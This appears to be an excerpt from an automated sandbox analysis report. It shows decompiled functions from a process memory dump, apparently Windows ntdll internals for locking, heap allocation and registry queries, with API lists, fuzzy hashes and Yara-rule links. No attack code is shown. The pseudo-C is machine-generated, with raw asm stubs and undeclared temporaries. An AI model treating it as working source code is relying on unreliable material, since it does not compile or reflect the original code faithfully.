Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileImageInitOpenOptionQueryStringUnicode
String ID: \DllNXOptions
API String ID: 166309601-742623237
Opcode ID: 921baa57630607dbde828538072b888929f0950546f1b131c0956ed1704156ec
Instruction ID: ac47c8525d8b90fe38aa426c2d2d4f5275f061f6782ff60b7d2aead08a2f3700
Opcode Fuzzy Hash: 921baa57630607dbde828538072b888929f0950546f1b131c0956ed1704156ec
Instruction Fuzzy Hash: BE01FC76B00119BFDF11DA96AD00D8F777CDB85328F3040A6E914ABA40D7309D0582E4

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0F4E3, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
nativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6CE0F4E3(void* __eflags) {

				 *( *[fs:0x18] + 0xfca) =  *( *[fs:0x18] + 0xfca) & 0x0000efff;
				L6CE1EEF0(0x6cef7b60);
				 *0x6cef7b78 =  *0x6cef7b78 & 0x00000000;
				E6CE1EB70(0xefff, 0x6cef7b60);
				_push(0);
				_push( *0x6cef7b1c);
				return E6CE495C0();
			}

0x6ce0f4f5
0x6ce0f4fc
0x6ce0f501
0x6ce0f509
0x6ce0f50e
0x6ce0f510
0x6ce0f51c

APIs

RtlEnterCriticalSection.1105(6CEF7B60,00000000,6CE108CF,?,?,?,?,?,?,6CE60AF4,?), ref: 6CE0F4FC
RtlLeaveCriticalSection.1105(6CEF7B60,6CEF7B60,00000000,6CE108CF,?,?,?,?,?,?,6CE60AF4,?), ref: 6CE0F509
ZwSetEvent.1105(00000000,6CEF7B60,6CEF7B60,00000000,6CE108CF,?,?,?,?,?,?,6CE60AF4,?), ref: 6CE0F516

Strings

`{l, xrefs: 6CE0F4EF

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: `{l
API String ID: 3094578987-1648716514
Opcode ID: 230cc0fa72095eecb2bacf63b2591f11a6f53eb863423e5ea6d64d906d6dc826
Instruction ID: 662d9e6311efd4734d003eee27ea8ab71ba7f53f08054e115d9fcba4ef147c40
Opcode Fuzzy Hash: 230cc0fa72095eecb2bacf63b2591f11a6f53eb863423e5ea6d64d906d6dc826
Instruction Fuzzy Hash: 52D05E32B15A25A6DB205720EC45FD43276AB42324F310878F50022EC14B7869564298

Uniqueness

Uniqueness Score: -1.00%

Function 6CE18800, Relevance: 6.2, APIs: 4, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE18800(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t62;
				signed int _t66;
				void* _t67;
				void* _t69;
				signed int _t70;
				intOrPtr _t74;
				signed int _t78;
				signed int _t85;
				intOrPtr* _t88;
				signed int _t93;
				signed int _t95;
				signed int _t98;
				signed int _t100;
				signed int _t106;
				signed int* _t110;
				signed int _t114;
				signed int* _t118;
				intOrPtr _t119;
				signed int _t123;
				signed int _t125;

				_t119 = __ecx;
				_t62 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_t106 = 0;
				_v20 = __ecx;
				_t88 = 0;
				if(_t62 != 0) {
					_t88 = _t62 + 0x5d8;
					if(_t88 == 0 ||  *((intOrPtr*)(_t88 + 0x30)) == 0) {
						_t88 = 0;
					}
				}
				_v28 = 0;
				_v24 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				if(_t88 == 0 || _t119 == 0) {
					L13:
					return _t106;
				} else {
					if( *((intOrPtr*)(_t88 + 8)) == 0) {
						L12:
						_t106 = 1;
						goto L13;
					}
					_t11 = _t88 + 0x40; // 0x40
					_t117 = _t11;
					E6CE18999(_t11,  &_v12);
					if(_a4 != 0) {
						__eflags = _a4 - 1;
						if(_a4 != 1) {
							goto L12;
						}
						_t92 =  *(_t119 + 0x64);
						__eflags =  *(_t119 + 0x64);
						if( *(_t119 + 0x64) == 0) {
							goto L12;
						}
						E6CE18999(_t92,  &_v8);
						_t110 = _v8;
						_t66 = 0;
						__eflags = 0;
						_t93 =  *_t110;
						while(1) {
							__eflags =  *((intOrPtr*)(0x6cef5c60 + _t66 * 8)) - _t93;
							if( *((intOrPtr*)(0x6cef5c60 + _t66 * 8)) == _t93) {
								break;
							}
							_t66 = _t66 + 1;
							__eflags = _t66 - 5;
							if(_t66 < 5) {
								continue;
							}
							_t95 = 0;
							__eflags = 0;
							L27:
							__eflags = _t95;
							if(_t95 != 0) {
								goto L12;
							}
							__eflags = _v12 - _t110;
							if(_v12 != _t110) {
								goto L12;
							}
							E6CE22280(_t67, 0x6cef86cc);
							_t69 = E6CED9DFB( &_v16);
							__eflags = _t69 - 1;
							if(_t69 != 1) {
							}
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							 *_t88 =  *_t88 + 1;
							asm("adc dword [ebx+0x4], 0x0");
							_t70 = E6CE361A0( &_v28);
							__eflags = _t70;
							if(_t70 == 0) {
								L20:
								 *_t88 =  *_t88 + 1;
								asm("adc dword [ebx+0x4], 0x0");
								E6CE1FFB0(_t88, _t117, 0x6cef86cc);
								goto L12;
							}
							__eflags = _v28 | _v24;
							if((_v28 | _v24) == 0) {
								goto L20;
							}
							_t55 = _t88 + 0x40; // 0x3f
							_t98 = _t55;
							L40:
							_t74 = _v20;
							_t57 = _t74 + 0x28; // 0x0
							_t58 = _t74 + 0x24; // 0x0
							E6CED9D2E(_t98, 1, _v28, _v24,  *_t58 & 0x0000ffff,  *_t57);
							goto L20;
						}
						_t67 = 0x6cef5c64 + _t66 * 8;
						asm("lock xadd [eax], ecx");
						_t95 = (_t93 | 0xffffffff) - 1;
						goto L27;
					}
					_t106 = E6CE18A0A( *((intOrPtr*)(_t119 + 0x18)),  &_v8);
					if(_t106 == 0) {
						goto L13;
					}
					_t118 = _v8;
					_t78 = 0;
					_t17 =  &(_t118[1]); // 0x6cef84dc
					_t100 = _t17;
					 *(_t119 + 0x64) = _t100;
					_t114 =  *_t118;
					_v16 = _t100;
					while( *((intOrPtr*)(0x6cef5c60 + _t78 * 8)) != _t114) {
						_t78 = _t78 + 1;
						if(_t78 < 5) {
							continue;
						}
						L11:
						if(E6CE4F380(_t100, 0x6cde1184, 0x10) != 0) {
							__eflags =  *_t118 -  *_v12;
							if( *_t118 >=  *_v12) {
								goto L12;
							}
							asm("cdq");
							_t123 = _t118[5] & 0x0000ffff;
							_t83 = _t118[5] & 0x0000ffff;
							asm("cdq");
							_t125 = _t123 << 0x00000010 | _t118[5] & 0x0000ffff;
							__eflags = ((_t114 << 0x00000020 | _t123) << 0x10 | _t114) -  *((intOrPtr*)(_t88 + 0x2c));
							if(__eflags > 0) {
								L19:
								E6CE22280(_t83, 0x6cef86cc);
								 *_t88 =  *_t88 + 1;
								_t34 = _t88 + 0x40; // 0x3f
								_t117 = _t34;
								asm("adc dword [ebx+0x4], 0x0");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 = E6CE361A0( &_v28);
								__eflags = _t85;
								if(_t85 != 0) {
									__eflags = _v28 | _v24;
									if((_v28 | _v24) == 0) {
										goto L20;
									}
									_t98 = _v16;
									goto L40;
								}
								goto L20;
							}
							if(__eflags < 0) {
								goto L12;
							}
							__eflags = _t125 -  *((intOrPtr*)(_t88 + 0x28));
							if(_t125 <  *((intOrPtr*)(_t88 + 0x28))) {
								goto L12;
							}
							goto L19;
						}
						goto L12;
					}
					asm("lock inc dword [eax]");
					goto L11;
				}
			}

0x6ce18810
0x6ce18814
0x6ce1881a
0x6ce1881c
0x6ce1881f
0x6ce18824
0x6ce18826
0x6ce1882e
0x6ce69c48
0x6ce69c48
0x6ce1882e
0x6ce1883d
0x6ce18840
0x6ce18843
0x6ce18846
0x6ce18849
0x6ce1884e
0x6ce188b7
0x6ce188bf
0x6ce18854
0x6ce18857
0x6ce188b4
0x6ce188b6
0x00000000
0x6ce188b6
0x6ce18859
0x6ce18859
0x6ce18861
0x6ce1886a
0x6ce1893d
0x6ce18941
0x00000000
0x00000000
0x6ce18947
0x6ce1894a
0x6ce1894c
0x00000000
0x00000000
0x6ce18955
0x6ce1895a
0x6ce1895d
0x6ce1895d
0x6ce1895f
0x6ce18961
0x6ce18961
0x6ce18968
0x00000000
0x00000000
0x6ce1896a
0x6ce1896b
0x6ce1896e
0x00000000
0x00000000
0x6ce18970
0x6ce18970
0x6ce18972
0x6ce18972
0x6ce18974
0x00000000
0x00000000
0x6ce1897a
0x6ce1897d
0x00000000
0x00000000
0x6ce69c65
0x6ce69c6d
0x6ce69c72
0x6ce69c75
0x6ce69c75
0x6ce69c82
0x6ce69c86
0x6ce69c87
0x6ce69c88
0x6ce69c89
0x6ce69c8c
0x6ce69c90
0x6ce69c95
0x6ce69c97
0x6ce18927
0x6ce18927
0x6ce1892f
0x6ce18933
0x00000000
0x6ce18933
0x6ce69ca0
0x6ce69ca3
0x00000000
0x00000000
0x6ce69ca9
0x6ce69ca9
0x6ce69cac
0x6ce69cac
0x6ce69cb2
0x6ce69cb5
0x6ce69cc0
0x00000000
0x6ce69cc0
0x6ce18988
0x6ce18992
0x6ce18996
0x00000000
0x6ce18996
0x6ce1887b
0x6ce1887f
0x00000000
0x00000000
0x6ce18881
0x6ce18884
0x6ce18886
0x6ce18886
0x6ce18889
0x6ce1888c
0x6ce1888e
0x6ce18891
0x6ce1889a
0x6ce1889e
0x00000000
0x00000000
0x6ce188a0
0x6ce188b2
0x6ce188d3
0x6ce188d5
0x00000000
0x00000000
0x6ce188db
0x6ce188dc
0x6ce188e0
0x6ce188e8
0x6ce188ee
0x6ce188f0
0x6ce188f3
0x6ce188fc
0x6ce18901
0x6ce18906
0x6ce1890c
0x6ce1890c
0x6ce1890f
0x6ce18916
0x6ce18917
0x6ce18918
0x6ce18919
0x6ce1891a
0x6ce1891f
0x6ce18921
0x6ce69c52
0x6ce69c55
0x00000000
0x00000000
0x6ce69c5b
0x00000000
0x6ce69c5b
0x00000000
0x6ce18921
0x6ce188f5
0x00000000
0x00000000
0x6ce188f7
0x6ce188fa
0x00000000
0x00000000
0x00000000
0x6ce188fa
0x00000000
0x6ce188b2
0x6ce188c9
0x00000000
0x6ce188c9

APIs

memcmp.1105(6CEF84DC,6CDE1184,00000010,-00000054,?,00000000,00000001,?,6CEF52D8), ref: 6CE188A8
RtlAcquireSRWLockExclusive.1105(6CEF86CC,-00000054,?,00000000,00000001,?,6CEF52D8), ref: 6CE18901
RtlReleaseSRWLockExclusive.1105(6CEF86CC,6CEF86CC,-00000054,?,00000000,00000001,?,6CEF52D8), ref: 6CE18933
RtlAcquireSRWLockExclusive.1105(6CEF86CC,-00000054,?,00000000,00000001,?,6CEF52D8), ref: 6CE69C65

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Acquire$Releasememcmp
String ID:
API String ID: 2792186644-0
Opcode ID: 09e81399ee6649681344f351714b6e3baf081daf0c2a2068a0be3f80387d6b02
Instruction ID: 74702fcded34214b7ca0f200b7f75aaffd17483dbeaa4c29b95c8d45db7539ac
Opcode Fuzzy Hash: 09e81399ee6649681344f351714b6e3baf081daf0c2a2068a0be3f80387d6b02
Instruction Fuzzy Hash: 5751D171A0920ADBDF28CF59C4806AE77B1FF8530CF76416BD819ABE00D734AA55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CECB581, Relevance: 6.2, APIs: 4, Instructions: 163
nativeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E6CECB581(char __ecx) {
				signed int _v8;
				signed int _v11;
				intOrPtr _v15;
				short _v41;
				char _v47;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v55;
				signed int _v56;
				char _v60;
				intOrPtr _v63;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				signed int _t60;
				char* _t66;
				void* _t67;
				signed int _t87;
				signed int _t88;
				void* _t89;
				signed char _t91;
				intOrPtr* _t98;
				signed int _t107;
				signed int _t108;
				signed int _t114;
				signed int _t115;
				char _t117;
				void* _t120;
				signed int* _t123;
				void* _t124;
				signed int _t128;
				signed int _t129;

				_t131 = (_t129 & 0xfffffff8) - 0x3c;
				_v8 =  *0x6cefd360 ^ (_t129 & 0xfffffff8) - 0x0000003c;
				_t117 = __ecx;
				_v60 = __ecx;
				_t91 =  *((intOrPtr*)(__ecx + 0x38));
				_t54 =  *(__ecx + 0x34);
				_t87 = _t91 & 1;
				if(_t54 == 0) {
					L17:
					 *(_t117 + 0x34) =  *(_t117 + 0x34) & 0x00000000;
					 *(_t117 + 0x38) =  *(_t117 + 0x38) & 0x00000000;
					if((_t91 & 0x00000001) != 0) {
						 *(_t117 + 0x38) = 1;
					}
					_t118 = _v60;
					_t88 = _v60 + 0xe8;
					while(1) {
						_t122 =  *_t88;
						if( *_t88 == 0) {
							break;
						}
						E6CED2EF7(_t118 + 0xd8, _t122 ^ _t88);
						E6CED3209(_t118 + 0xd8, _t122 ^ _t88, 1);
					}
					E6CECCB82(_v60 + 0x118);
					E6CECFA96();
					E6CECFA96();
					_t98 = _v60;
					_v48 =  *((intOrPtr*)(_t98 + 4));
					_t60 =  *((intOrPtr*)(_t98 + 0xd4)) - _t98;
					_v52 =  *_t98;
					_v56 = _t60;
					_push( *((intOrPtr*)(_t98 + 4)));
					_push( *_t98);
					if(( *(_t98 + 0x2c) & 0x00000001) == 0) {
						asm("sbb eax, eax");
						_push((_t60 & 0x01000000) + 0x8000);
						L6CECAFDE( &_v60,  &_v56);
					} else {
						E6CECBCD2(_t98);
					}
					E6CECC23A( &_v55, 0);
					if(E6CE27D50() == 0) {
						_t66 = 0x7ffe0388;
					} else {
						_t66 = ( *[fs:0x30])[0x14] + 0x22e;
					}
					if( *_t66 != 0) {
						E6CEBFDD3(_v63);
					}
					_t67 = E6CE27D50();
					_t123 = 0x7ffe0380;
					if(_t67 == 0) {
						_t68 = 0x7ffe0380;
					} else {
						_t68 = ( *[fs:0x30])[0x14] + 0x226;
					}
					if( *_t68 != 0) {
						_t68 =  *[fs:0x30];
						if((( *[fs:0x30])[0x90] & 0x00000001) != 0) {
							if(E6CE27D50() != 0) {
								_t123 = ( *[fs:0x30])[0x14] + 0x226;
							}
							_v15 = _v63;
							_v41 = 0x1023;
							_push( &_v47);
							_push(4);
							_push(0x402);
							_push( *_t123 & 0x000000ff);
							_t68 = E6CE49AE0();
						}
					}
					_pop(_t120);
					_pop(_t124);
					_pop(_t89);
					return E6CE4B640(_t68, _t89, _v11 ^ _t131, 0, _t120, _t124);
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t107 =  *_t54;
					if(_t107 != 0) {
						break;
					}
					_t108 =  *(_t54 + 4);
					if(_t108 == 0) {
						_t128 =  *(_t54 + 8) & 0xfffffffc;
						if(_t87 != 0 && _t128 != 0) {
							_t128 = _t128 ^ _t54;
						}
						E6CECE962(_t108, _t54, _t117);
						if(_t128 == 0) {
							_t91 =  *(_t117 + 0x38);
							goto L17;
						} else {
							_t54 = _t128;
							continue;
						}
					}
					_t115 = _t54;
					if(_t87 == 0) {
						_t54 = _t108;
					} else {
						_t54 = _t54 ^ _t108;
					}
					 *(_t115 + 4) =  *(_t115 + 4) & 0x00000000;
				}
				_t114 = _t54;
				if(_t87 == 0) {
					_t54 = _t107;
				} else {
					_t54 = _t54 ^ _t107;
				}
				 *_t114 =  *_t114 & 0x00000000;
				goto L1;
			}

0x6cecb589
0x6cecb593
0x6cecb59a
0x6cecb59c
0x6cecb5a0
0x6cecb5a3
0x6cecb5a9
0x6cecb5ae
0x6cecb602
0x6cecb602
0x6cecb606
0x6cecb60d
0x6cecb60f
0x6cecb60f
0x6cecb613
0x6cecb617
0x6cecb61d
0x6cecb61d
0x6cecb621
0x00000000
0x00000000
0x6cecb62d
0x6cecb63c
0x6cecb63c
0x6cecb64d
0x6cecb659
0x6cecb668
0x6cecb66d
0x6cecb676
0x6cecb680
0x6cecb682
0x6cecb686
0x6cecb68e
0x6cecb691
0x6cecb693
0x6cecb6a7
0x6cecb6b3
0x6cecb6b4
0x6cecb695
0x6cecb695
0x6cecb695
0x6cecb6bf
0x6cecb6cb
0x6cecb6dd
0x6cecb6cd
0x6cecb6d6
0x6cecb6d6
0x6cecb6e5
0x6cecb6eb
0x6cecb6eb
0x6cecb6f0
0x6cecb6f5
0x6cecb701
0x6cecb710
0x6cecb703
0x6cecb70c
0x6cecb70c
0x6cecb715
0x6cecb717
0x6cecb724
0x6cecb72d
0x6cecb738
0x6cecb738
0x6cecb740
0x6cecb749
0x6cecb752
0x6cecb753
0x6cecb755
0x6cecb75d
0x6cecb75e
0x6cecb75e
0x6cecb724
0x6cecb767
0x6cecb768
0x6cecb769
0x6cecb774
0x00000000
0x00000000
0x00000000
0x6cecb5b0
0x6cecb5b0
0x6cecb5b0
0x6cecb5b4
0x00000000
0x00000000
0x6cecb5c7
0x6cecb5cc
0x6cecb5e3
0x6cecb5e8
0x6cecb5ee
0x6cecb5ee
0x6cecb5f2
0x6cecb5f9
0x6cecb5ff
0x00000000
0x6cecb5fb
0x6cecb5fb
0x00000000
0x6cecb5fb
0x6cecb5f9
0x6cecb5ce
0x6cecb5d2
0x6cecb5d8
0x6cecb5d4
0x6cecb5d4
0x6cecb5d4
0x6cecb5da
0x6cecb5da
0x6cecb5b6
0x6cecb5ba
0x6cecb5c0
0x6cecb5bc
0x6cecb5bc
0x6cecb5bc
0x6cecb5c2
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6CE5FC28), ref: 6CECB6C4
RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6CE5FC28), ref: 6CECB6F0
RtlGetCurrentServiceSessionId.1105 ref: 6CECB726
ZwTraceEvent.1105(?,00000402,00000004,?), ref: 6CECB75E

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$EventTrace
String ID:
API String ID: 4061387822-0
Opcode ID: a03f96ec4067d224515450df0ce8e1333ad2ca4f12db442471910984b8cc5295
Instruction ID: b6d892f15733f2ee9100d4e04ecea55ed1b54a4ae1bc4aaadf8974d40d4eef12
Opcode Fuzzy Hash: a03f96ec4067d224515450df0ce8e1333ad2ca4f12db442471910984b8cc5295
Instruction Fuzzy Hash: 7251C031B057428BD301CF28C650BAAB7F5BF4171CF34456DA8658BB91EB35E80ACB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CE01AA0, Relevance: 6.1, APIs: 4, Instructions: 123memorynativeCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.1105(?,00000008,00000000,?,00000000,?,?,00000000,C0000017), ref: 6CE01B1E
ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00002000,00000004,00000000,?,?,00000000,C0000017,?,?,6CE016E0), ref: 6CE01B83
ZwAllocateVirtualMemory.1105(000000FF,6CE016E0,00000000,C0000017,00001000,00000004,00000000,?,?,00000000,C0000017,?,?,6CE016E0), ref: 6CE01BBD
RtlAllocateHeap.1105(?,00000008,?,00000000,?,?,00000000,C0000017), ref: 6CE01BD8

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Allocate$HeapMemoryVirtual
String ID:
API String ID: 1343662020-0
Opcode ID: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction ID: 55d834a544e11e02ef0e533cb1f646df6f90da61da2227fd0d6fef828bb0f6df
Opcode Fuzzy Hash: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction Fuzzy Hash: EB413C71A05609EFDB24CF99C980A9AB7F9FF09308B20456DE556DBB50E330EA54CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0F018, Relevance: 6.1, APIs: 4, Instructions: 95
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6CE0F018(intOrPtr __ecx, void* __edx, intOrPtr* _a4, void* _a8, int* _a12) {
				long _v8;
				intOrPtr _v12;
				signed int _v16;
				int _t20;
				long _t21;
				int _t28;
				void* _t32;
				void* _t34;
				intOrPtr _t35;
				intOrPtr* _t36;
				void* _t39;
				void* _t40;
				int* _t41;

				_t35 = __ecx;
				_t41 = _a12;
				_t39 = __edx;
				_v12 = __ecx;
				if(_a8 == 0) {
					if(_t41 != 0) {
						L2:
						_t20 =  *_t41;
						L3:
						_v16 = _v16 & 0x00000000;
						_t21 = _t20 + 0xc;
						_v8 = _t21;
						if(_t21 == 0) {
							_t34 = 0;
						} else {
							_t32 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t21);
							_t35 = _v12;
							_t34 = _t32;
							_t21 = _v8;
						}
						if(_t34 == 0) {
							_t40 = 0xc000009a;
							goto L16;
						} else {
							_push( &_v16);
							_push(_t21);
							_push(_t34);
							_push(2);
							_push(_t39);
							_push(_t35);
							_t40 = E6CE49650();
							if(_t40 == 0xc0000034) {
								L13:
								if(_t40 >= 0) {
									L20:
									if(_t41 != 0) {
										 *_t41 =  *(_t34 + 8);
									}
									_t36 = _a4;
									if(_t36 != 0) {
										 *_t36 =  *((intOrPtr*)(_t34 + 4));
									}
									L15:
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t34);
									L16:
									return _t40;
								}
								L14:
								if(_t40 == 0x80000005) {
									goto L20;
								}
								goto L15;
							}
							if(_t40 < 0) {
								goto L14;
							}
							if(_a8 == 0 || _t41 == 0) {
								goto L13;
							} else {
								_t28 =  *(_t34 + 8);
								if(_t28 >  *_t41) {
									_t40 = 0x80000005;
									goto L20;
								} else {
									if(_t28 <= _v8) {
										_t14 = _t34 + 0xc; // 0xc
										memcpy(_a8, _t14, _t28);
									}
									goto L13;
								}
							}
						}
					}
					_t20 = 0;
					goto L3;
				}
				if(_t41 == 0) {
					return 0xc000000d;
				}
				goto L2;
			}

0x6ce0f018
0x6ce0f026
0x6ce0f02a
0x6ce0f02c
0x6ce0f02f
0x6ce0f0dd
0x6ce0f03d
0x6ce0f03d
0x6ce0f03f
0x6ce0f03f
0x6ce0f043
0x6ce0f046
0x6ce0f049
0x6ce659a5
0x6ce0f04f
0x6ce0f05b
0x6ce0f060
0x6ce0f063
0x6ce0f065
0x6ce0f065
0x6ce0f06a
0x6ce659ac
0x00000000
0x6ce0f070
0x6ce0f073
0x6ce0f074
0x6ce0f075
0x6ce0f076
0x6ce0f078
0x6ce0f079
0x6ce0f07f
0x6ce0f087
0x6ce0f0b3
0x6ce0f0b5
0x6ce0f0ea
0x6ce0f0ec
0x6ce0f0f1
0x6ce0f0f1
0x6ce0f0f3
0x6ce0f0f8
0x6ce0f0fd
0x6ce0f0fd
0x6ce0f0bf
0x6ce0f0cb
0x6ce0f0d0
0x00000000
0x6ce0f0d0
0x6ce0f0b7
0x6ce0f0bd
0x00000000
0x00000000
0x00000000
0x6ce0f0bd
0x6ce0f08b
0x00000000
0x00000000
0x6ce0f091
0x00000000
0x6ce0f097
0x6ce0f097
0x6ce0f09c
0x6ce0f101
0x00000000
0x6ce0f09e
0x6ce0f0a1
0x6ce0f0a4
0x6ce0f0ab
0x6ce0f0b0
0x00000000
0x6ce0f0a1
0x6ce0f09c
0x6ce0f091
0x6ce0f06a
0x6ce0f0e3
0x00000000
0x6ce0f0e3
0x6ce0f037
0x00000000
0x6ce6599b
0x00000000

APIs

RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6CE0F05B
ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6CE0F07A
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6CE0F0AB
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6CE0F0CB

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeQueryValuememcpy
String ID:
API String ID: 125101864-0
Opcode ID: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction ID: 57ba8d96881c692003a2f6417034fb681978769d7fd8c589cfbf163c68628656
Opcode Fuzzy Hash: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction Fuzzy Hash: 8731DF32B42604ABEB11CE48C990B5A73B9EB8571CF358029EC149BB01D738DD71CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE06730, Relevance: 6.1, APIs: 4, Instructions: 92
timeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6CE06730(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				void* _v24;
				void* _v40;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t32;
				char* _t35;
				char* _t42;
				char* _t51;
				void* _t52;
				signed int _t67;
				void* _t68;
				void* _t71;
				signed int _t73;

				_t75 = (_t73 & 0xfffffff8) - 0xc;
				_v8 =  *0x6cefd360 ^ (_t73 & 0xfffffff8) - 0x0000000c;
				_t70 = _a8;
				_t67 = _a8 - 0x78;
				_t32 = E6CE27D50();
				_t51 = 0x7ffe0386;
				if(_t32 != 0) {
					_t35 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t35 = 0x7ffe0386;
				}
				if( *_t35 != 0) {
					E6CED89E7( *((intOrPtr*)(_t67 + 0x5c)), _t70,  *((intOrPtr*)(_t67 + 0x30)),  *((intOrPtr*)(_t67 + 0x34)),  *((intOrPtr*)(_t67 + 0x3c)));
				}
				_t64 = _t67;
				if(E6CE395EC(_a4, _t67, 1) != 0) {
					if(E6CE27D50() != 0) {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t42 = _t51;
					}
					if( *_t42 != 0) {
						E6CED9CB3( *((intOrPtr*)(_t67 + 0x5c)), _t70,  *((intOrPtr*)(_t67 + 0x30)),  *((intOrPtr*)(_t67 + 0x34)),  *((intOrPtr*)(_t67 + 0x3c)));
					}
					_t64 =  *((intOrPtr*)(_t67 + 0x30));
					E6CE2C677(_t75 + 0x14,  *((intOrPtr*)(_t67 + 0x30)),  *((intOrPtr*)(_t67 + 0x34)),  *((intOrPtr*)(_t67 + 0x3c)));
					 *0x6cefb1e0(_a4,  *((intOrPtr*)(_t67 + 0x34)));
					 *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x30))))();
					if(E6CE27D50() != 0) {
						_t51 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					}
					if( *_t51 != 0) {
						_t64 = _a8;
						E6CED8ADD( *((intOrPtr*)(_t67 + 0x5c)), _a8,  *((intOrPtr*)(_t67 + 0x30)),  *((intOrPtr*)(_t67 + 0x34)),  *((intOrPtr*)(_t67 + 0x3c)));
					}
					_t37 = E6CE2C5F8( *((intOrPtr*)(_t75 + 0x10)));
				}
				_pop(_t68);
				_pop(_t71);
				_pop(_t52);
				return E6CE4B640(_t37, _t52, _v8 ^ _t75, _t64, _t68, _t71);
			}

0x6ce06738
0x6ce06742
0x6ce06748
0x6ce0674c
0x6ce0674f
0x6ce06754
0x6ce0675b
0x6ce61aac
0x6ce06761
0x6ce06761
0x6ce06761
0x6ce06766
0x6ce61ac4
0x6ce61ac4
